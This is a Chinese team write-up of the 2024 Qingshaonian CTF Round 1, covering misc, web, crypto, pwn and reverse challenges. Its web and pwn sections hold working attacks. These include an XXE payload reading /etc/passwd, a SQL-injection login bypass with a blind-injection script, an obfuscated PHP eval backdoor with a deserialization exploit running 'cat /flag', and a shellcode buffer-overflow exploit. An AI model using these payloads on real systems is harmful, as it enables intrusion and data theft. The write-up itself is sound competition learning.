青少年CTF擂台挑战赛 2024 #Round 1 PK You!战队 WriteUp

一、战队信息

战队名称:PK You!战队 队长:Dreammm✌

战队排名:22


二、解题步骤

SStuck题目做到一半思路卡壳
FFinished完成该题
1First Blood获得一血
2Second Blood获得二血
3Third Blood获得三血

目录

一、战队信息

二、解题步骤

Misc

F | CTFer Revenge |

F1 | 追光者 |

F | 多情 |

F | ez_model |

F | 小光的答案之书 |

S | can_can_need_computer |

F | 调查问卷|

Web(All K.o)

F | EasyMD5 |

F | PHP的XXE |

F | PHP的后门 |

F | Easy_SQLi |

F | 雏形系统|

Crypto

F | 解个方程 |

F | 四重加密 |

Pwn

F| 简单的数学题 |

F | Easy_Shellcode |

Reverse(All K.o)

F | 来打CS咯 |

三、总结+出题心得


Misc

F | CTFer Revenge |

题目给的文件是一个压缩包经过reverse后的十六进制数据,用厨子再reverse回去得到正确的16进制文件

观察发现数据格式不是很标准,需要进行处理才能导入,写个脚本将行号以及后面的文本区域和空行去掉

def remove_blank_lines(file_name):  
    try:  
        # 创建一个临时文件用于存储非空白行  
        with open(file_name, 'r', encoding='utf-8') as input_file, open(f"{file_name}.tmp", 'w', encoding='utf-8') as output_file:  
            for line in input_file:  
                # 如果行不是空白的,则写入临时文件  
                if line.strip():  
                    line = line[10:]  
                    # 查找第一个'|'字符的位置  
                    pipe_index = line.find('|')  
                    # 如果找到了'|',则去除该字符及其后面的所有字符  
                    if pipe_index != -1:  
                        line = line[:pipe_index]  
                    # 将处理后的行写入临时文件  
                    output_file.write(line)    
        # 删除原文件并将临时文件重命名为原文件名  
        import os  
        os.remove(file_name)  
        os.rename(f"{file_name}.tmp", file_name)  
        print(f"Processed file saved as {file_name}")  
    except FileNotFoundError:  
        print(f"File {file_name} not found.")  
  
# 调用函数,传入你的txt文件路径  
remove_blank_lines("C:/Users/Xia/Desktop/1.txt")

导出压缩包,根据提示暴力破解数字和小写字母得到压缩包密码

解压得到图片

应该是猫眼之类的(不知道是不是),但是已经能看到flag了

qsnctf{b414e3eea6449ddba0997db259203eb7}


F1 | 追光者 |

最开始的压缩包是伪加密

解压得到了一张图和txt文件,txt里没有什么有用的东西,看一下图片可以看到里面隐藏了一个压缩包文件

压缩包文件是加密了的,得到以下提示

010打开之前的图片搜索AB得到密码

最后有一串base64的提示,为大小写,密码iam5thplayer(这里由于个人原因附件弄成旧的了,在图上就没有er)

得到了一半的flag,里面还解压出来了一张图片和压缩包

打开压缩包我们可以发现压缩包内的图片和提供的图片CRC一样,采用明文爆破出密码

用爆破出的密码解压得到txt.galf,其实这是reverse后得到的文件名,打开将得到的字符串reverse

得到flag

qsnctf{NE73R_G1V3_U1o}


F | 多情 |

解压得到一个压缩包和png图片,先看png图片,分离得到另外一张png图片

但是用imageglass无法打开,尝试爆破宽高,得到完整图片

得到996,打开之前的压缩包发现只有0和1,将996转化成二进制得到1111100100。刚好对应压缩包中01的数量,进行替换得到一串带&#字符

Lrp5mJcdEbbv2bnf6HQSNh

经搜索发现与NCR(数字字符引用)有关,HTML解码得到没有壳子的Flag(这个地方不得不吐槽一下)

套上壳子得到最终Flag

qsnctf{Lrp5mJcdEbbv2bnf6HQSNh}


F | ez_model |

题目附件是一个pth文件,百度发现是一个ai的模型,写一个代码读取文件内容

import torch
 
pthfile = r"C:/Users/Xia/Desktop/ez_model/easy.pth"           #.pth文件的路径
model = torch.load(pthfile, torch.device('cpu'))    #设置在cpu环境下查询
print('type:')
print(type(model))  #查看模型字典长度
print('length:')
print(len(model))
print('key:')
for k in model.keys():  #查看模型字典里面的key
    print(k)
print('value:')
for k in model:         #查看模型字典里面的value
    print(k,model[k])

得到两个tensor 百度后知道这是tensor张量(张亮bushi)。因为之前没有了解过,就用GPT想写一个张量转化的脚本,结果直接解码了,看起来像是根据ASCII解码

同理将hint tensor解码得到两串字符串

flag tensor: “LidUJ3fQM2FVJoxpDwLvDyF3DwpPdwxOEgbQJoxnEgdnJgnojoZ5mF”. hint tensor: “ZzYyXxAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWw0123456789+/”.

自定义base64解码

#s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
s = "ZzYyXxAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWw0123456789+/"
​
def My_base64_decode(inputs):
    # 将字符串转化为2进制
    bin_str = []
    for i in inputs:
        if i != '=':
            x = str(bin(s.index(i))).replace('0b', '')
            bin_str.append('{:0>6}'.format(x))
    #print(bin_str)
    # 输出的字符串
    outputs = ""
    nums = inputs.count('=')
    while bin_str:
        temp_list = bin_str[:4]
        temp_str = "".join(temp_list)
        #print(temp_str)
        # 补足8位字节
        if(len(temp_str) % 8 != 0):
            temp_str = temp_str[0:-1 * nums * 2]
        # 将四个6字节的二进制转换为三个字符
        for i in range(0,int(len(temp_str) / 8)):
            outputs += chr(int(temp_str[i*8:(i+1)*8],2))
        bin_str = bin_str[4:]   
    print("Decrypted String:\n%s "%outputs)
    
​
input_str = input("Please enter a string that needs to be decrypted: \n")
My_base64_decode(input_str)

解码得到flag

qsnctf{d0b1e37104739d71b92fb1a93aa8cf09}

F | 小光的答案之书 |

题目链接打开后是一篇帖子,重点是图片

对照圣堂武士密码(猪圈密码升级版)解码得到LIFE

大写试了下不对,改为小写,得到密码life

公众号发送信息得到flag

qsnctf{49e7bd5efe114cd2d93ef60ddb2f8714}

S | can_can_need_computer |

题目附件是一个raw文件,搜f1ag时发现zip文件

将压缩包提取出来

发现是加密的,尝试伪加密解密得到flag.txt文件

因为刚开始学而且取证方面实战不是很多,后面没有思路了,还得继续学习

呵呵,你是他请来修理电脑的帮手吧,既然找到了这里,那么我就给你一个机会,如果你能解密下面的信息,我就帮他修好他的电脑~~ 哦对了,告诉你密钥的格式吧: 启动后门程序的按键(如有字母则为小写)_被修改且使用的文件的原名称_一串我喜欢的数字 例如: a_1.txt_123 现在尝试去解密这串密文吧: U2FsdGVkX1/AIh77kQBllKkJpfO57KeAqc5/9d5pSeXRYrPzaeradEvWIVCOgx5go8UORc6ULFk5lOeE/Lhz6Q==

F | 调查问卷|

填写问卷得到flag(随缘)


Web(All K.o)

F | EasyMD5 |

尝试随便上传两个pdf 发现要求两个不同文件但是MD5值相同。搜索得到两个导入十六进制改后缀为pdf上传得到flag

文件1:

d131dd02c5e6eec4693d9a0698aff95c 2fcab58712467eab4004583eb8fb7f89 55ad340609f4b30283e488832571415a 085125e8f7cdc99fd91dbdf280373c5b d8823e3156348f5bae6dacd436c919c6 dd53e2b487da03fd02396306d248cda0 e99f33420f577ee8ce54b67080a80d1e c69821bcb6a8839396f9652b6ff72a70

文件2:

d131dd02c5e6eec4693d9a0698aff95c 2fcab50712467eab4004583eb8fb7f89 55ad340609f4b30283e4888325f1415a 085125e8f7cdc99fd91dbd7280373c5b d8823e3156348f5bae6dacd436c919c6 dd53e23487da03fd02396306d248cda0 e99f33420f577ee8ce54b67080280d1e c69821bcb6a8839396f965ab6ff72a70

得到flag

qsnctf{881019b3d6984bb6ad1a35f8d993abab}


F | PHP的XXE |

PHP Version 7.0.30 存在xxe漏洞

漏洞点 /dom.php

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>

得到flag

qsnctf{867aece4a82a46e19995d672f194d566}


F | PHP的后门 |

这种应该是用php某些版本的漏洞 抓包看php的版本

发现是php 8.1.0版本

得到flag

qsnctf{ae01e003038d4ceb0c1dbc2ff56da1f5}


F | Easy_SQLi |

用户名admin,密码"sa' or 1=1#" 可以进入,但是进去没啥内容。1=1可以改成 payload来进行盲注,表名为users,字段名为password进行盲注

import requests
​
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{},"
flag = ""
url = "http://challenge.qsnctf.com:31471/login.php"
​
data_payload="select group_concat(password) from users"
for i in range(1, 50):
    for char in chars:
        payload = "ascii(substr(({0}),{1},1))={2} #".format(data_payload, i, ord(char))
        data = {"uname": "admin","psw":"sa' or "+payload+"#"}
        res = requests.post(url, data=data)
        text = res.text
        if 'successful' in text:
            flag += char
            print(flag)
            break

F | 雏形系统|

进去页面乱输发现什么也没有发生,扫一下,扫到www.zip

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>

base64解码

$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU==";  
// eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
echo('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))))

把eval改成echo看内容

?><?php
error_reporting(0);
​
class shi
  {
    public $next;
    public $pass;
    public function __toString(){
      $this->next::PLZ($this->pass);
    }
  }
class wo
  {
    public $sex;
    public $age;
    public $intention;
    public function __destruct(){
      echo "Hi Try serialize Me!";
      $this->inspect();
    }
    function inspect(){
      if($this->sex=='boy'&&$this->age=='eighteen')
      {
        echo $this->intention;
      }
      echo "🙅18岁🈲";
    }
  }
​
class Demo
  {
    public $a;
    static function __callStatic($action, $do)
    {
      global $b;
      $b($do[0]);
    }
  }
​
$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
  echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
  echo("登录成功");
}
?>

反序列化 exp:

$a = new wo();
$a -> sex= 'boy';
$a -> age= 'eighteen';
$a -> intention= new shi();
$a -> intention -> pass = 'cat /flag';
$a -> intention -> next = new Demo();
echo serialize($a);

Crypto

F | 解个方程 |

已知pqe求d

import gmpy2
p = 
q = 
e = 
d = gmpy2.invert(e,(p-1)*(q-1))
print d

F | 四重加密 |

打开压缩包,注释base64解码得到第一层压缩包密码

解压得到一串NCR,HTML解码(和多情同理)

得到一串密文和key

zcye{mxmemtxrzt_lzbha_kwmqzec}|key=hello

继续解码

一开始想的是维吉尼亚密码,但是看到的时候觉得不像,交上去也没有,后面拿维吉尼亚的结果去梭哈得到了flag

根据题目要求改下壳

qsnctf{ldvgosdabv_kfkjc_jcvsbdi}


Pwn

F| 简单的数学题 |

前面两个问题在线解x网站可以得到x的值

最后一个问通过Python解方程库

from sympy import symbols, Eq, solve  
  
# 定义变量  
x = symbols('x')  
  
# 建立方程  
equation = Eq(x**10 + 2**10 - 4*x, 6131066258749)  
  
# 使用solve解方程  
solutions = solve(equation, x, dict=True)  
  
# 输出解  
for sol in solutions:  
    print(f"解为 x = {sol[x]}")

得到第三问x的值,提交得到flag

qsnctf{8dfa3bfe64144473814352fab47646a4}

F | Easy_Shellcode |

最开始打印v4的地址,然后又可以在v4输入数据,通过gdb调试可以看到v4的地址有执行权限,用的scanf输入,明显可以溢出:

所以先在v4那里写入shellcode,再通过溢出跳转回v4执行shellcode拿flag:

Exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('./easy-shellcode')
p=remote('challenge.qsnctf.com',30400)
​
addr=int(p.recv(14),16)
success('addr:'+hex(addr))
pd=asm(shellcraft.sh()).ljust(0x108,b'\x90')+p64(addr)
p.sendline(pd)
​
#gdb.attach(p)
#pause()
​
p.interactive()

Reverse(All K.o)

F | 来打CS咯 |

考虑到这是一个恶意样本,目标是找到ip和端口,所以想到用沙箱先扫扫进行基本的分析。直接在网络行为里面就看到了ip和端口。

得到flag

qsnctf{10.0.80.253:8118}


三、总结+出题心得

这次青少年CTF可以说是收获满满,做题第一天遇到的都还是比较简单,第二天学到了很多新的思路,边学边打的过程中也解决了很多没有遇到过的问题。这次非常幸运的被采纳了投稿,成为了一名出题人(Misc方向差评第一《追光者》出题人),当时看见能自主出题的时候非常激动,就投了一个题结果选上了。但是这次出题因为最后一次需要再次提交附件,当时未把新旧附件分开导致附件出现错误,在此再次向各位师傅们谢罪!感谢我的队友Dreammm✌(太强了,是个全栈✌)!总的来说,这次比赛收获了非常多!各位师傅们宝贵的意见和建议,新的解题思路,还有很多新朋友。而且这次比赛成绩十分理想,竟然进到了前30(其实是20,因为前面有队伍被ban掉了),下次一定会继续努力的!

评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值